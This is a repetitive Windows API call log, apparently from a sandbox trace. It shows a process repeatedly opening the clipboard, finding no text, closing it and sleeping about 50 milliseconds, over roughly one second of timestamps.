[0266.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.415] GetClipboardData (uFormat=0x1) returned 0x0
[0266.415] CloseClipboard () returned 1
[0266.415] Sleep (dwMilliseconds=0x32)
[0266.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9c3d2d6, dwHighDateTime=0x1d96e12))
[0266.439] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.439] GetClipboardData (uFormat=0x1) returned 0x0
[0266.440] CloseClipboard () returned 1
[0266.440] Sleep (dwMilliseconds=0x32)
[0266.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9c63526, dwHighDateTime=0x1d96e12))
[0266.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.445] GetClipboardData (uFormat=0x1) returned 0x0
[0266.445] CloseClipboard () returned 1
[0266.445] Sleep (dwMilliseconds=0x32)
[0266.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9c89782, dwHighDateTime=0x1d96e12))
[0266.462] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.462] GetClipboardData (uFormat=0x1) returned 0x0
[0266.462] CloseClipboard () returned 1
[0266.462] Sleep (dwMilliseconds=0x32)
[0266.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9caf9dd, dwHighDateTime=0x1d96e12))
[0266.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.476] GetClipboardData (uFormat=0x1) returned 0x0
[0266.476] CloseClipboard () returned 1
[0266.476] Sleep (dwMilliseconds=0x32)
[0266.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9cd5c35, dwHighDateTime=0x1d96e12))
[0266.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.493] GetClipboardData (uFormat=0x1) returned 0x0
[0266.493] CloseClipboard () returned 1
[0266.493] Sleep (dwMilliseconds=0x32)
[0266.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9cfbe9f, dwHighDateTime=0x1d96e12))
[0266.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.508] GetClipboardData (uFormat=0x1) returned 0x0
[0266.508] CloseClipboard () returned 1
[0266.508] Sleep (dwMilliseconds=0x32)
[0266.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9d220f0, dwHighDateTime=0x1d96e12))
[0266.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.523] GetClipboardData (uFormat=0x1) returned 0x0
[0266.523] CloseClipboard () returned 1
[0266.523] Sleep (dwMilliseconds=0x32)
[0266.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9d48345, dwHighDateTime=0x1d96e12))
[0266.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.540] GetClipboardData (uFormat=0x1) returned 0x0
[0266.540] CloseClipboard () returned 1
[0266.540] Sleep (dwMilliseconds=0x32)
[0266.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9d6e598, dwHighDateTime=0x1d96e12))
[0266.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.554] GetClipboardData (uFormat=0x1) returned 0x0
[0266.554] CloseClipboard () returned 1
[0266.555] Sleep (dwMilliseconds=0x32)
[0266.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9d947f4, dwHighDateTime=0x1d96e12))
[0266.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.571] GetClipboardData (uFormat=0x1) returned 0x0
[0266.571] CloseClipboard () returned 1
[0266.571] Sleep (dwMilliseconds=0x32)
[0266.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9dbaa30, dwHighDateTime=0x1d96e12))
[0266.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.586] GetClipboardData (uFormat=0x1) returned 0x0
[0266.586] CloseClipboard () returned 1
[0266.586] Sleep (dwMilliseconds=0x32)
[0266.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9de0cac, dwHighDateTime=0x1d96e12))
[0266.602] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.602] GetClipboardData (uFormat=0x1) returned 0x0
[0266.602] CloseClipboard () returned 1
[0266.602] Sleep (dwMilliseconds=0x32)
[0266.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9e06f20, dwHighDateTime=0x1d96e12))
[0266.617] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.617] GetClipboardData (uFormat=0x1) returned 0x0
[0266.617] CloseClipboard () returned 1
[0266.617] Sleep (dwMilliseconds=0x32)
[0266.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9e2d183, dwHighDateTime=0x1d96e12))
[0266.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.633] GetClipboardData (uFormat=0x1) returned 0x0
[0266.633] CloseClipboard () returned 1
[0266.633] Sleep (dwMilliseconds=0x32)
[0266.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9e533ad, dwHighDateTime=0x1d96e12))
[0266.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.648] GetClipboardData (uFormat=0x1) returned 0x0
[0266.648] CloseClipboard () returned 1
[0266.649] Sleep (dwMilliseconds=0x32)
[0266.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9e85e9d, dwHighDateTime=0x1d96e12))
[0266.669] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.669] GetClipboardData (uFormat=0x1) returned 0x0
[0266.669] CloseClipboard () returned 1
[0266.669] Sleep (dwMilliseconds=0x32)
[0266.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9e9f86c, dwHighDateTime=0x1d96e12))
[0266.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.679] GetClipboardData (uFormat=0x1) returned 0x0
[0266.680] CloseClipboard () returned 1
[0266.680] Sleep (dwMilliseconds=0x32)
[0266.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9ec5ad5, dwHighDateTime=0x1d96e12))
[0266.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.696] GetClipboardData (uFormat=0x1) returned 0x0
[0266.696] CloseClipboard () returned 1
[0266.696] Sleep (dwMilliseconds=0x32)
[0266.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9eebd22, dwHighDateTime=0x1d96e12))
[0266.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.711] GetClipboardData (uFormat=0x1) returned 0x0
[0266.711] CloseClipboard () returned 1
[0266.711] Sleep (dwMilliseconds=0x32)
[0266.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9f11f7a, dwHighDateTime=0x1d96e12))
[0266.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.726] GetClipboardData (uFormat=0x1) returned 0x0
[0266.726] CloseClipboard () returned 1
[0266.726] Sleep (dwMilliseconds=0x32)
[0266.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9f381d4, dwHighDateTime=0x1d96e12))
[0266.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.743] GetClipboardData (uFormat=0x1) returned 0x0
[0266.743] CloseClipboard () returned 1
[0266.744] Sleep (dwMilliseconds=0x32)
[0266.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9f5e427, dwHighDateTime=0x1d96e12))
[0266.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.757] GetClipboardData (uFormat=0x1) returned 0x0
[0266.758] CloseClipboard () returned 1
[0266.758] Sleep (dwMilliseconds=0x32)
[0266.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9f84682, dwHighDateTime=0x1d96e12))
[0266.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.773] GetClipboardData (uFormat=0x1) returned 0x0
[0266.773] CloseClipboard () returned 1
[0266.773] Sleep (dwMilliseconds=0x32)
[0266.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9faa90a, dwHighDateTime=0x1d96e12))
[0266.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.789] GetClipboardData (uFormat=0x1) returned 0x0
[0266.789] CloseClipboard () returned 1
[0266.789] Sleep (dwMilliseconds=0x32)
[0266.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9fd0b3f, dwHighDateTime=0x1d96e12))
[0266.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.805] GetClipboardData (uFormat=0x1) returned 0x0
[0266.805] CloseClipboard () returned 1
[0266.805] Sleep (dwMilliseconds=0x32)
[0266.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf9ff6da0, dwHighDateTime=0x1d96e12))
[0266.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.820] GetClipboardData (uFormat=0x1) returned 0x0
[0266.821] CloseClipboard () returned 1
[0266.821] Sleep (dwMilliseconds=0x32)
[0266.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa01cfee, dwHighDateTime=0x1d96e12))
[0266.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.836] GetClipboardData (uFormat=0x1) returned 0x0
[0266.836] CloseClipboard () returned 1
[0266.836] Sleep (dwMilliseconds=0x32)
[0266.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa04324f, dwHighDateTime=0x1d96e12))
[0266.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.851] GetClipboardData (uFormat=0x1) returned 0x0
[0266.851] CloseClipboard () returned 1
[0266.851] Sleep (dwMilliseconds=0x32)
[0266.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa0694a4, dwHighDateTime=0x1d96e12))
[0266.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.868] GetClipboardData (uFormat=0x1) returned 0x0
[0266.868] CloseClipboard () returned 1
[0266.869] Sleep (dwMilliseconds=0x32)
[0266.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa08f73f, dwHighDateTime=0x1d96e12))
[0266.884] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.884] GetClipboardData (uFormat=0x1) returned 0x0
[0266.885] CloseClipboard () returned 1
[0266.885] Sleep (dwMilliseconds=0x32)
[0266.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa0b5961, dwHighDateTime=0x1d96e12))
[0266.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.898] GetClipboardData (uFormat=0x1) returned 0x0
[0266.898] CloseClipboard () returned 1
[0266.898] Sleep (dwMilliseconds=0x32)
[0266.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa0dbbb4, dwHighDateTime=0x1d96e12))
[0266.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.915] GetClipboardData (uFormat=0x1) returned 0x0
[0266.915] CloseClipboard () returned 1
[0266.915] Sleep (dwMilliseconds=0x32)
[0266.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa101e0f, dwHighDateTime=0x1d96e12))
[0266.930] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.930] GetClipboardData (uFormat=0x1) returned 0x0
[0266.930] CloseClipboard () returned 1
[0266.930] Sleep (dwMilliseconds=0x32)
[0266.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa128065, dwHighDateTime=0x1d96e12))
[0266.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.946] GetClipboardData (uFormat=0x1) returned 0x0
[0266.947] CloseClipboard () returned 1
[0266.947] Sleep (dwMilliseconds=0x32)
[0266.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa14e2c2, dwHighDateTime=0x1d96e12))
[0266.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.961] GetClipboardData (uFormat=0x1) returned 0x0
[0266.961] CloseClipboard () returned 1
[0266.961] Sleep (dwMilliseconds=0x32)
[0266.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa17451e, dwHighDateTime=0x1d96e12))
[0266.980] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.980] GetClipboardData (uFormat=0x1) returned 0x0
[0266.980] CloseClipboard () returned 1
[0266.980] Sleep (dwMilliseconds=0x32)
[0266.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa19a77c, dwHighDateTime=0x1d96e12))
[0266.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0266.993] GetClipboardData (uFormat=0x1) returned 0x0
[0266.993] CloseClipboard () returned 1
[0266.994] Sleep (dwMilliseconds=0x32)
[0267.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa1c09cc, dwHighDateTime=0x1d96e12))
[0267.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.007] GetClipboardData (uFormat=0x1) returned 0x0
[0267.008] CloseClipboard () returned 1
[0267.008] Sleep (dwMilliseconds=0x32)
[0267.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa1e6c28, dwHighDateTime=0x1d96e12))
[0267.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.023] GetClipboardData (uFormat=0x1) returned 0x0
[0267.023] CloseClipboard () returned 1
[0267.023] Sleep (dwMilliseconds=0x32)
[0267.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa20ce8d, dwHighDateTime=0x1d96e12))
[0267.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.040] GetClipboardData (uFormat=0x1) returned 0x0
[0267.041] CloseClipboard () returned 1
[0267.041] Sleep (dwMilliseconds=0x32)
[0267.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa2330e4, dwHighDateTime=0x1d96e12))
[0267.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.054] GetClipboardData (uFormat=0x1) returned 0x0
[0267.054] CloseClipboard () returned 1
[0267.055] Sleep (dwMilliseconds=0x32)
[0267.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa259342, dwHighDateTime=0x1d96e12))
[0267.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.072] GetClipboardData (uFormat=0x1) returned 0x0
[0267.072] CloseClipboard () returned 1
[0267.072] Sleep (dwMilliseconds=0x32)
[0267.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa27f590, dwHighDateTime=0x1d96e12))
[0267.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.086] GetClipboardData (uFormat=0x1) returned 0x0
[0267.086] CloseClipboard () returned 1
[0267.086] Sleep (dwMilliseconds=0x32)
[0267.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa2a57ea, dwHighDateTime=0x1d96e12))
[0267.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.101] GetClipboardData (uFormat=0x1) returned 0x0
[0267.101] CloseClipboard () returned 1
[0267.101] Sleep (dwMilliseconds=0x32)
[0267.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa2cba43, dwHighDateTime=0x1d96e12))
[0267.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.118] GetClipboardData (uFormat=0x1) returned 0x0
[0267.118] CloseClipboard () returned 1
[0267.118] Sleep (dwMilliseconds=0x32)
[0267.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa2f1c9d, dwHighDateTime=0x1d96e12))
[0267.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.133] GetClipboardData (uFormat=0x1) returned 0x0
[0267.133] CloseClipboard () returned 1
[0267.133] Sleep (dwMilliseconds=0x32)
[0267.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa317ef8, dwHighDateTime=0x1d96e12))
[0267.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.148] GetClipboardData (uFormat=0x1) returned 0x0
[0267.148] CloseClipboard () returned 1
[0267.148] Sleep (dwMilliseconds=0x32)
[0267.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa33e14e, dwHighDateTime=0x1d96e12))
[0267.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.165] GetClipboardData (uFormat=0x1) returned 0x0
[0267.165] CloseClipboard () returned 1
[0267.165] Sleep (dwMilliseconds=0x32)
[0267.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa3643ab, dwHighDateTime=0x1d96e12))
[0267.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.179] GetClipboardData (uFormat=0x1) returned 0x0
[0267.179] CloseClipboard () returned 1
[0267.179] Sleep (dwMilliseconds=0x32)
[0267.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa38a600, dwHighDateTime=0x1d96e12))
[0267.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.196] GetClipboardData (uFormat=0x1) returned 0x0
[0267.197] CloseClipboard () returned 1
[0267.197] Sleep (dwMilliseconds=0x32)
[0267.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa3b086c, dwHighDateTime=0x1d96e12))
[0267.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.211] GetClipboardData (uFormat=0x1) returned 0x0
[0267.211] CloseClipboard () returned 1
[0267.211] Sleep (dwMilliseconds=0x32)
[0267.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa3d6ab8, dwHighDateTime=0x1d96e12))
[0267.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.226] GetClipboardData (uFormat=0x1) returned 0x0
[0267.226] CloseClipboard () returned 1
[0267.226] Sleep (dwMilliseconds=0x32)
[0267.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa3fcd71, dwHighDateTime=0x1d96e12))
[0267.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.242] GetClipboardData (uFormat=0x1) returned 0x0
[0267.242] CloseClipboard () returned 1
[0267.242] Sleep (dwMilliseconds=0x32)
[0267.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa422f6b, dwHighDateTime=0x1d96e12))
[0267.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.258] GetClipboardData (uFormat=0x1) returned 0x0
[0267.258] CloseClipboard () returned 1
[0267.258] Sleep (dwMilliseconds=0x32)
[0267.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa4491c2, dwHighDateTime=0x1d96e12))
[0267.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.273] GetClipboardData (uFormat=0x1) returned 0x0
[0267.273] CloseClipboard () returned 1
[0267.273] Sleep (dwMilliseconds=0x32)
[0267.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa46f422, dwHighDateTime=0x1d96e12))
[0267.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.290] GetClipboardData (uFormat=0x1) returned 0x0
[0267.290] CloseClipboard () returned 1
[0267.290] Sleep (dwMilliseconds=0x32)
[0267.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa49567c, dwHighDateTime=0x1d96e12))
[0267.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.304] GetClipboardData (uFormat=0x1) returned 0x0
[0267.304] CloseClipboard () returned 1
[0267.304] Sleep (dwMilliseconds=0x32)
[0267.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa4bb8ef, dwHighDateTime=0x1d96e12))
[0267.322] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.322] GetClipboardData (uFormat=0x1) returned 0x0
[0267.322] CloseClipboard () returned 1
[0267.322] Sleep (dwMilliseconds=0x32)
[0267.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa4e1b30, dwHighDateTime=0x1d96e12))
[0267.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.336] GetClipboardData (uFormat=0x1) returned 0x0
[0267.336] CloseClipboard () returned 1
[0267.336] Sleep (dwMilliseconds=0x32)
[0267.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa507d8c, dwHighDateTime=0x1d96e12))
[0267.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.351] GetClipboardData (uFormat=0x1) returned 0x0
[0267.352] CloseClipboard () returned 1
[0267.352] Sleep (dwMilliseconds=0x32)
[0267.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa52dfe8, dwHighDateTime=0x1d96e12))
[0267.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.369] GetClipboardData (uFormat=0x1) returned 0x0
[0267.369] CloseClipboard () returned 1
[0267.369] Sleep (dwMilliseconds=0x32)
[0267.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa554239, dwHighDateTime=0x1d96e12))
[0267.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.383] GetClipboardData (uFormat=0x1) returned 0x0
[0267.383] CloseClipboard () returned 1
[0267.383] Sleep (dwMilliseconds=0x32)
[0267.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa57a494, dwHighDateTime=0x1d96e12))
[0267.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.398] GetClipboardData (uFormat=0x1) returned 0x0
[0267.398] CloseClipboard () returned 1
[0267.398] Sleep (dwMilliseconds=0x32)
[0267.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa5a06f0, dwHighDateTime=0x1d96e12))
[0267.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.415] GetClipboardData (uFormat=0x1) returned 0x0
[0267.415] CloseClipboard () returned 1
[0267.415] Sleep (dwMilliseconds=0x32)
[0267.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa5c6948, dwHighDateTime=0x1d96e12))
[0267.435] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.435] GetClipboardData (uFormat=0x1) returned 0x0
[0267.435] CloseClipboard () returned 1
[0267.435] Sleep (dwMilliseconds=0x32)
[0267.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa5ecbd3, dwHighDateTime=0x1d96e12))
[0267.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.446] GetClipboardData (uFormat=0x1) returned 0x0
[0267.447] CloseClipboard () returned 1
[0267.447] Sleep (dwMilliseconds=0x32)
[0267.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa612de9, dwHighDateTime=0x1d96e12))
[0267.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.461] GetClipboardData (uFormat=0x1) returned 0x0
[0267.461] CloseClipboard () returned 1
[0267.461] Sleep (dwMilliseconds=0x32)
[0267.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa63907c, dwHighDateTime=0x1d96e12))
[0267.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.476] GetClipboardData (uFormat=0x1) returned 0x0
[0267.477] CloseClipboard () returned 1
[0267.477] Sleep (dwMilliseconds=0x32)
[0267.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa65f300, dwHighDateTime=0x1d96e12))
[0267.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.493] GetClipboardData (uFormat=0x1) returned 0x0
[0267.493] CloseClipboard () returned 1
[0267.494] Sleep (dwMilliseconds=0x32)
[0267.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfa68552e, dwHighDateTime=0x1d96e12))
[0267.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0267.507] GetClipboardData (uFormat=0x1) returned 0x0
